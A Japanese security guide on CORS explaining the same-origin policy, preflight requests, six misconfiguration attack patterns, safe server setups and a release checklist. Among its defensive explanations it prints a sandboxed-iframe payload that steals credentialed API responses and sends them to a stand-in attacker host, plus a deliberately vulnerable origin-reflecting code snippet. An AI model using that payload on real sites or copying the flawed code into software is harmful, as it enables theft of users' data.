Webアプリケーションのフロントエンドとバックエンドを別ドメインで運用するケースが増えるなか、CORS(Cross-Origin Resource Sharing)の設定ミスがセキュリティインシデントの原因になる事例が後を絶ちません。

CORS は、ブラウザの同一オリジンポリシーを安全に緩和するための仕組みです。正しく設定すれば異なるオリジン間でのリソース共有を実現できますが、設定を誤ると認証情報の漏洩やセッションハイジャックにつながるリスクがあります。

ここでは CORS の基本的な仕組みから、実際の攻撃パターン、主要サーバー・クラウドサービスでの安全な設定方法、そして本番リリース前に確認すべきセキュリティチェックリストまでを体系的にまとめています。

オリジンと同一オリジンポリシーの基礎

オリジンを構成する3要素

オリジン(Origin)は、URLの スキーム(プロトコル)ホストポート番号 の組み合わせで決まります。

URLオリジン
https://example.com:443/pagehttps://example.com:443
http://example.com/pagehttp://example.com:80
https://api.example.com/v1https://api.example.com:443

3要素のうち1つでも異なれば「異なるオリジン(クロスオリジン)」として扱われます。https://example.comhttp://example.com はスキームが異なるため別オリジンですし、https://example.comhttps://api.example.com もホストが異なるため別オリジンです。

同一オリジンポリシーがブラウザに組み込まれた理由

同一オリジンポリシー(Same-Origin Policy / SOP)は、あるオリジンで読み込まれたスクリプトが、別オリジンのリソースに無制限にアクセスすることを禁止するブラウザのセキュリティ機能です。

SOPが存在しないと仮定した場合、次のような攻撃が成立します。

  1. ユーザーが銀行サイト(bank.example.com)にログイン済みの状態で、攻撃者のサイトを開く
  2. 攻撃者のサイトのJavaScriptが bank.example.com の口座情報APIにリクエストを送信
  3. ブラウザはログイン済みのCookieを自動付与するため、APIは正常にレスポンスを返す
  4. 攻撃者のスクリプトがレスポンスの口座残高・取引履歴を読み取り、外部サーバーへ送信

SOPはこの「ステップ4のレスポンス読み取り」をブラウザレベルで遮断します。

SOPが制限する通信と制限しない通信

SOPによる制限は、すべてのクロスオリジン通信に一律に適用されるわけではありません。

SOPが制限する通信(CORSが必要):

  • fetch() / XMLHttpRequest によるクロスオリジンリクエスト
  • Web Fonts(@font-face でのクロスオリジンフォント読み込み)
  • WebGL テクスチャの読み込み
  • canvasdrawImage() でクロスオリジン画像を描画した後の getImageData()

SOPが制限しない通信(CORSなしでも動作):

  • <img> タグによる画像の表示
  • <link> タグによるCSSの読み込み
  • <script> タグによるJavaScriptの読み込み
  • <video> / <audio> タグによるメディア再生
  • <form> タグによるフォーム送信(送信は可能だがレスポンスは読めない)

この非対称性が重要です。<img><script> はクロスオリジンで読み込めるため、SOPだけではCSRF(Cross-Site Request Forgery)を完全には防げません。

CORSの仕組み:ブラウザとサーバーの通信フロー

CORSは、HTTPヘッダーを使ってサーバーが「どのオリジンからのアクセスを許可するか」をブラウザに伝える仕組みです。ブラウザはリクエスト内容に応じて、シンプルリクエストとプリフライトリクエストの2つのフローを自動的に使い分けます。

シンプルリクエストの条件と通信フロー

以下のすべての条件を満たすリクエストは、プリフライトなしで直接送信されます(出典: MDN Web Docs)。

メソッド: GET / HEAD / POST のいずれか

ヘッダー: 以下のCORSセーフリストヘッダーのみ使用

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type(下記の値のみ)
  • Range(単純なrange値のみ)

Content-Typeの値: application/x-www-form-urlencoded / multipart/form-data / text/plain のいずれか

追加条件:

  • XMLHttpRequest.upload にイベントリスナーが未登録
  • ReadableStream オブジェクトが未使用
ブラウザ                          サーバー
  │                                 │
  │  GET /api/data HTTP/1.1         │
  │  Origin: https://app.example    │
  │ ──────────────────────────────> │
  │                                 │
  │  HTTP/1.1 200 OK                │
  │  Access-Control-Allow-Origin:   │
  │    https://app.example          │
  │ <────────────────────────────── │

サーバーが返す Access-Control-Allow-Origin ヘッダーの値がリクエスト元のオリジンと一致すれば、ブラウザはレスポンスをJavaScriptに渡します。一致しなければ、レスポンスはブロックされCORSエラーになります。

プリフライトリクエストの仕組み

シンプルリクエストの条件を満たさないリクエスト(PUT / DELETE メソッド、Authorization ヘッダー付き、Content-Type: application/json など)では、ブラウザが自動的に OPTIONS メソッドのプリフライトリクエストを先行送信します。

ブラウザ                              サーバー
  │                                     │
  │  OPTIONS /api/users HTTP/1.1        │
  │  Origin: https://app.example        │
  │  Access-Control-Request-Method:     │
  │    DELETE                           │
  │  Access-Control-Request-Headers:    │
  │    Authorization, Content-Type      │
  │ ──────────────────────────────────> │
  │                                     │
  │  HTTP/1.1 204 No Content            │
  │  Access-Control-Allow-Origin:       │
  │    https://app.example              │
  │  Access-Control-Allow-Methods:      │
  │    GET, POST, PUT, DELETE           │
  │  Access-Control-Allow-Headers:      │
  │    Authorization, Content-Type      │
  │  Access-Control-Max-Age: 7200       │
  │ <────────────────────────────────── │
  │                                     │
  │  DELETE /api/users/42 HTTP/1.1      │
  │  Origin: https://app.example        │
  │  Authorization: Bearer xxx          │
  │ ──────────────────────────────────> │
  │                                     │
  │  HTTP/1.1 200 OK                    │
  │  Access-Control-Allow-Origin:       │
  │    https://app.example              │
  │ <────────────────────────────────── │

プリフライトの結果は Access-Control-Max-Age で指定した秒数だけブラウザにキャッシュされます。デフォルト値は5秒で、Chromeの上限は7200秒(2時間)、Firefoxの上限は86400秒(24時間)です(出典: MDN Web Docs)。

認証情報付きリクエスト(Credentialed Requests)

Cookie や Authorization ヘッダーをクロスオリジンリクエストに含める場合、クライアント側とサーバー側の両方で追加設定が必要です。

クライアント側:

// Fetch API
fetch('https://api.example.com/data', {
  credentials: 'include'  // Cookie を含めて送信
});

// XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.withCredentials = true;

サーバー側の必須レスポンスヘッダー:

Access-Control-Allow-Origin: https://app.example   # ワイルドカード(*) は不可
Access-Control-Allow-Credentials: true

認証情報付きリクエストでは、Access-Control-Allow-OriginAccess-Control-Allow-HeadersAccess-Control-Allow-MethodsAccess-Control-Expose-Headers のすべてでワイルドカード(*)が使用禁止です。必ず具体的な値を指定する必要があります。

CORSに関連する主要HTTPヘッダー一覧

レスポンスヘッダー(サーバー側で設定)

ヘッダー役割設定例
Access-Control-Allow-Originアクセスを許可するオリジンhttps://app.example
Access-Control-Allow-Methods許可するHTTPメソッドGET, POST, PUT, DELETE
Access-Control-Allow-Headers許可するリクエストヘッダーAuthorization, Content-Type
Access-Control-Expose-HeadersJSから読み取り可能なレスポンスヘッダーX-Request-Id
Access-Control-Max-Ageプリフライト結果のキャッシュ秒数7200
Access-Control-Allow-Credentials認証情報の送信許可true

リクエストヘッダー(ブラウザが自動付与)

ヘッダー用途
Originリクエスト元のオリジン
Access-Control-Request-Methodプリフライトで実行予定のメソッドを通知
Access-Control-Request-Headersプリフライトで使用予定のヘッダーを通知

CORS設定ミスが招く脆弱性と攻撃パターン

CORSの設定ミスは、セキュリティテストやバグバウンティで頻繁に報告される脆弱性カテゴリです。海外のセキュリティコミュニティ(PortSwigger、OWASP)が公開している典型的な攻撃パターンを解説します。

パターン1:Originヘッダーの無検証な反射

最も危険な設定ミスは、リクエストの Origin ヘッダーの値をそのまま Access-Control-Allow-Origin に反映するケースです。

# 危険なサーバー側実装の例(Python)
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin  # 任意のオリジンを許可
response.headers['Access-Control-Allow-Credentials'] = 'true'

この設定では、攻撃者のサイト(https://evil.example)からのリクエストも許可されます。Access-Control-Allow-Credentials: true と組み合わせることで、被害者のセッションを使ってAPIレスポンスを窃取できます(出典: PortSwigger)。

パターン2:ホワイトリスト正規表現の実装ミス

許可オリジンの検証に正規表現を使う場合、アンカー(^ / $)の漏れがバイパスの原因になります。

脆弱な検証ロジック攻撃者が登録するドメイン結果
末尾が example.com で終わるかevil-example.com通過
先頭が example.com で始まるかexample.com.evil.net通過
example.com を含むかexample.com.evil.net通過

安全な検証の例:

import re
ALLOWED_ORIGIN_PATTERN = re.compile(r'^https://[\w-]+\.example\.com$')

def validate_origin(origin):
    return bool(ALLOWED_ORIGIN_PATTERN.match(origin))

正規表現の先頭アンカー ^ と末尾アンカー $ を必ず含め、ドット(.)はエスケープ(\.)する必要があります。

パターン3:null Originの許可とsandbox iframe攻撃

Origin: null は、以下の状況でブラウザが自動的に送信します。

  • sandbox 属性付き <iframe> 内からのリクエスト
  • file:// プロトコルからのリクエスト
  • クロスオリジンリダイクトを経たリクエスト

サーバーが Access-Control-Allow-Origin: null を許可していると、攻撃者は sandbox 属性付き iframe を使って null オリジンを生成し、認証情報付きリクエストを送信できます。

<!-- 攻撃者のサイトに設置 -->
<iframe sandbox="allow-scripts allow-forms"
  srcdoc="<script>
    fetch('https://target-api.example/sensitive-data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // 窃取したデータを攻撃者サーバーへ送信
      navigator.sendBeacon('https://attacker.example/log',
        JSON.stringify(data));
    });
  </script>">
</iframe>

対策として、Access-Control-Allow-Originnull を設定してはいけません。

パターン4:XSSとCORSの連鎖攻撃

CORS設定自体が正しくても、ホワイトリストに含まれているサブドメインにXSS脆弱性があると、CORSの信頼関係を悪用した攻撃が成立します。

攻撃フロー:
1. api.example.com が subdomain.example.com をCORSで信頼
2. 攻撃者が subdomain.example.com にXSS脆弱性を発見
3. 攻撃者がXSSペイロードを含むURLを被害者に送信
   https://subdomain.example.com/?q=<script>...</script>
4. XSSスクリプトが api.example.com へCORSリクエストを送信
5. api.example.com はホワイトリスト内のオリジンと判断し、レスポンスを返す
6. 攻撃者がレスポンス(APIキー等)を窃取

この攻撃は「CORSホワイトリストに含まれるドメイン全体の安全性が、CORSのセキュリティ強度を決定する」ことを意味します。ホワイトリストに追加するドメインは、そのドメイン自体のセキュリティ(XSS対策等)が十分であることを確認する必要があります。

パターン5:HTTPサブドメインを経由したTLSダウングレード

HTTPSサイトが http://subdomain.example.com(平文HTTP)をCORSホワイトリストに含めている場合、中間者攻撃(MITM)と組み合わせた情報窃取が成立します。

攻撃フロー:
1. https://secure.example.com が http://internal.example.com を信頼
2. 攻撃者が同一ネットワーク上でMITM攻撃を実行
3. 被害者の http://internal.example.com へのリクエストを傍受
4. 攻撃者が偽レスポンスを返し、secure.example.com へのCORSリクエストを送信するスクリプトを注入
5. ブラウザは http://internal.example.com からのリクエストとしてCookieを付与
6. secure.example.com は信頼済みオリジンと判断してレスポンスを返す

対策として、CORSホワイトリストにはHTTPSオリジンのみを含めるべきです。

パターン6:イントラネットリソースへの外部からのアクセス

社内APIが Access-Control-Allow-Origin: * を設定しているケースは珍しくありません。「社内ネットワークだからセキュリティは不要」という判断に基づくものですが、外部サイトを閲覧した従業員のブラウザを踏み台にして社内リソースを読み取る攻撃が成立します。

攻撃者の外部サイトにアクセスした従業員のブラウザが http://192.168.1.100/internal-api/users にリクエストを送信し、ワイルドカード設定により正常にレスポンスを取得 → 外部へ送信という流れです。

社内システムであっても、CORSのワイルドカード設定は避けてください。

Fetch API と XMLHttpRequest の CORS 挙動の違い

クロスオリジンリクエストの挙動は、使用するAPIによって微妙に異なります。

観点Fetch APIXMLHttpRequest
Cookie送信のデフォルトcredentials: 'same-origin'(クロスオリジンでは送信しない)withCredentials がfalseのため送信しない
Cookie送信の有効化credentials: 'include' を明示xhr.withCredentials = true を設定
クロスオリジンリダイレクトCORS ヘッダーがなければ拒否自動追跡(比較的寛容)
エラー情報の詳細度TypeError のみ(セキュリティ上、詳細を隠蔽)status: 0 を返す

Postman やcurl でテストしたときは成功するのに、ブラウザからは CORS エラーになるケースが頻発します。これは CORS がブラウザ固有の制御であり、ブラウザ以外のHTTPクライアントには適用されないためです。

ブラウザごとの実装差異

ブラウザによってCORSの実装に微妙な差があり、特定のブラウザでのみ問題が発生するケースがあります。

  • Chrome: リダイレクトチェーンに対して最も厳格にCORSを適用。プリフライトキャッシュの上限は7200秒(2時間)
  • Firefox: プリフライトキャッシュの上限は86400秒(24時間)。失敗したプリフライトレスポンスが予想より長くキャッシュされるケースがある
  • Safari: サードパーティCookie遮断(ITP)との干渉により、credentials: 'include' のリクエストが他ブラウザより厳格に拒否される場合がある

サーバー・フレームワーク別の安全なCORS設定例

Nginx

# /etc/nginx/conf.d/cors.conf

map $http_origin $cors_origin {
    default "";
    "https://app.example.com"     $http_origin;
    "https://staging.example.com" $http_origin;
}

server {
    location /api/ {
        # 許可オリジンの動的設定
        if ($cors_origin = "") {
            return 403;
        }

        add_header Access-Control-Allow-Origin $cors_origin always;
        add_header Access-Control-Allow-Credentials true always;
        add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
        add_header Access-Control-Allow-Headers "Authorization, Content-Type, X-Request-Id" always;
        add_header Access-Control-Max-Age 7200 always;
        add_header Vary Origin always;  # CDNキャッシュ対策に必須

        # プリフライトリクエストの処理
        if ($request_method = OPTIONS) {
            return 204;
        }

        proxy_pass http://backend;
    }
}

Vary: Origin ヘッダーの追加は、CDNやリバースプロキシを使用する場合に必須です。このヘッダーがないと、あるオリジン向けのCORSレスポンスがキャッシュされ、別のオリジンからのリクエストに対して誤ったレスポンスが返される可能性があります。

Node.js(Express)

import cors from 'cors';
import express from 'express';

const app = express();

const allowedOrigins = [
  'https://app.example.com',
  'https://staging.example.com',
];

const corsOptions = {
  origin: (origin, callback) => {
    // サーバー間通信(Originヘッダーなし)は許可
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`Origin ${origin} not allowed by CORS`));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Authorization', 'Content-Type'],
  maxAge: 7200,
};

app.use(cors(corsOptions));

AWS API Gateway

API Gatewayでは、REST APIとHTTP APIで設定方法が異なります。

HTTP API(推奨):

AWS マネジメントコンソール > API Gateway > 対象API > CORS で以下を設定します。

設定項目値の例
Access-Control-Allow-Originhttps://app.example.com
Access-Control-Allow-MethodsGET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-HeadersAuthorization, Content-Type
Access-Control-Max-Age7200
Access-Control-Allow-Credentialstrue

REST API:

REST APIでは、OPTIONSメソッドのモック統合を手動設定する必要があります。Lambda プロキシ統合を使用する場合は、Lambda関数のレスポンスにCORSヘッダーを含めてください。

# Lambda関数(Python)の例
def handler(event, context):
    return {
        'statusCode': 200,
        'headers': {
            'Access-Control-Allow-Origin': 'https://app.example.com',
            'Access-Control-Allow-Credentials': 'true',
        },
        'body': json.dumps({'message': 'success'})
    }

主要フレームワークのCORSライブラリ

フレームワークライブラリ / 設定
Express (Node.js)cors パッケージ
FastAPI (Python)fastapi.middleware.cors.CORSMiddleware
Django (Python)django-cors-headers
Rails (Ruby)rack-cors gem
Spring Boot (Java)@CrossOrigin アノテーション / WebMvcConfigurer
Laravel (PHP)config/cors.php(標準搭載)

CORS と CSP を連携させた多層防御

CORS と CSP(Content Security Policy)は異なるレイヤーのセキュリティ機構ですが、両者を組み合わせることで防御を強化できます。

CORS: サーバーが「どのオリジンからのリクエストを受け入れるか」を制御(受信側の制御)

CSP: ブラウザが「どのオリジンからのリソース読み込みを許可するか」を制御(送信側の制御)

両者の設定が矛盾すると、CORSで許可したリクエストがCSPでブロックされる(またはその逆の)問題が発生します。

# Nginx での CSP 設定例(CORSと整合させる)
add_header Content-Security-Policy
  "default-src 'self';
   connect-src 'self' https://api.example.com;
   script-src 'self';
   style-src 'self' 'unsafe-inline';"
  always;

connect-src ディレクティブで fetch() / XMLHttpRequest の接続先を制限できます。CORSで許可するオリジンと connect-src の許可リストを一致させることで、設定の矛盾を防ぎつつ、万が一XSSが発生した場合にも外部への情報送信を制限できます。

SPA開発環境でのCORSエラー回避

React、Vue、Next.js などのSPAフレームワークでは、開発サーバー(localhost:3000)からバックエンドAPI(localhost:8080)へのリクエストでCORSエラーが発生します。開発環境に限り、プロキシ機能を使ってCORSを回避するのが一般的な手法です。

Vite(React / Vue)

// vite.config.js
export default defineConfig({
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,
      }
    }
  }
});

Next.js

// next.config.js
module.exports = {
  async rewrites() {
    return [
      {
        source: '/api/:path*',
        destination: 'http://localhost:8080/api/:path*',
      },
    ];
  },
};

プロキシを使うことで、フロントエンドの /api/users へのリクエストが開発サーバー経由でバックエンドへ転送されます。ブラウザからは同一オリジンに見えるためCORSエラーが発生しません。

注意点: 開発環境用のプロキシ設定と本番環境のCORS設定は別物です。本番デプロイ時にプロキシが無効になり、CORSエラーが再発するケースがよくあります。本番環境では必ずサーバー側でCORSヘッダーを正しく設定してください。

CORSの限界:CORSだけでは防げない攻撃

CORSは「レスポンスの読み取り」を制御する仕組みであり、「リクエストの送信」そのものは防ぎません。このため、以下の攻撃はCORS単体では防御できません。

CSRF(Cross-Site Request Forgery)

<form> タグや <img> タグによるリクエストはSOPの制限を受けないため、CORSの設定に関係なく送信可能です。CORSが防ぐのはレスポンスの読み取りだけであり、副作用を持つリクエスト(パスワード変更、送金など)自体は到達します。

対策: CSRFトークン、SameSite Cookie属性、Refererヘッダー検証

XSS(Cross-Site Scripting)

XSSが成立すると、攻撃者のスクリプトはページと同一オリジンで実行されるため、CORSの制限を受けません。

対策: 入力値のサニタイズ、CSP の script-src ディレクティブ、HttpOnly Cookie

サーバー間通信

CORSはブラウザの機能であり、curl・Postman・サーバーサイドのHTTPクライアントには適用されません。APIの認証・認可はCORSとは独立して実装する必要があります。

本番リリース前のCORSセキュリティチェックリスト

本番環境にデプロイする前に、以下の項目をすべて確認してください。

必須チェック項目

  • Access-Control-Allow-Origin にワイルドカード(*)を使用していない(認証情報を扱うAPIの場合)
  • Access-Control-Allow-Origin: null を許可していない
  • リクエストの Origin ヘッダーをそのまま Access-Control-Allow-Origin に反射していない
  • 許可オリジンの正規表現にアンカー(^ / $)を含め、ドット(.)をエスケープしている
  • CORSホワイトリストにHTTPオリジン(非HTTPS)を含めていない
  • Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: * を併用していない
  • CORSホワイトリストに含まれるサブドメインにXSS脆弱性がないことを確認済み
  • 社内APIでもワイルドカードを使用せず、明示的なオリジン制限を設定している
  • Vary: Origin ヘッダーを含めている(CDN・リバースプロキシ使用時)
  • Access-Control-Allow-MethodsAccess-Control-Allow-Headers を必要最小限に設定している

推奨チェック項目

  • Access-Control-Max-Age を適切な値に設定している(推奨: 3600〜7200秒)
  • 許可オリジンをハードコードではなく環境変数で管理している
  • 拒否したCORSリクエストをサーバーログに記録している
  • CSP(Content Security Policy)の connect-src とCORSの許可オリジンを整合させている
  • 定期的にCORSホワイトリスト内ドメインのセキュリティ状態を監査している

CORSエラーのトラブルシューティング

よくあるエラーと原因

No 'Access-Control-Allow-Origin' header is present on the requested resource

サーバーがCORSヘッダーを返していません。サーバー側のCORS設定を確認してください。Nginxの場合、add_headerif ブロック内のリターンで消えるケースがあるため、always パラメータの付与を確認します。

The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when credentials mode is 'include'

認証情報付きリクエストでワイルドカードを使用しています。具体的なオリジンに変更してください。

Method PUT is not allowed by Access-Control-Allow-Methods

プリフライトレスポンスの Access-Control-Allow-Methods に対象メソッドが含まれていません。

Chrome DevTools での確認手順

  1. DevTools を開き、Network タブを選択
  2. CORSエラーが発生するリクエストを実行
  3. エラーとなったリクエストを選択し、Headers タブで以下を確認:
    • Request Headers の Origin
    • Response Headers の Access-Control-Allow-Origin
  4. プリフライトリクエストは Method 列に OPTIONS と表示される。OPTIONSリクエストのレスポンスヘッダーもあわせて確認

まとめ

CORSはブラウザの同一オリジンポリシーを安全に緩和する仕組みですが、設定ミスが直接的なセキュリティ脆弱性につながります。

安全なCORS運用の原則は3つです。

  1. 最小権限の原則: ワイルドカードを避け、必要なオリジン・メソッド・ヘッダーだけを許可する
  2. 多層防御: CORSだけに頼らず、CSP・CSRFトークン・認証の組み合わせで防御する
  3. ホワイトリストの継続的な監査: CORSで信頼するドメイン自体のセキュリティ(XSS対策等)を定期的に確認する

これらを実践すれば、異なるオリジン間のリソース共有を安全に実現できます。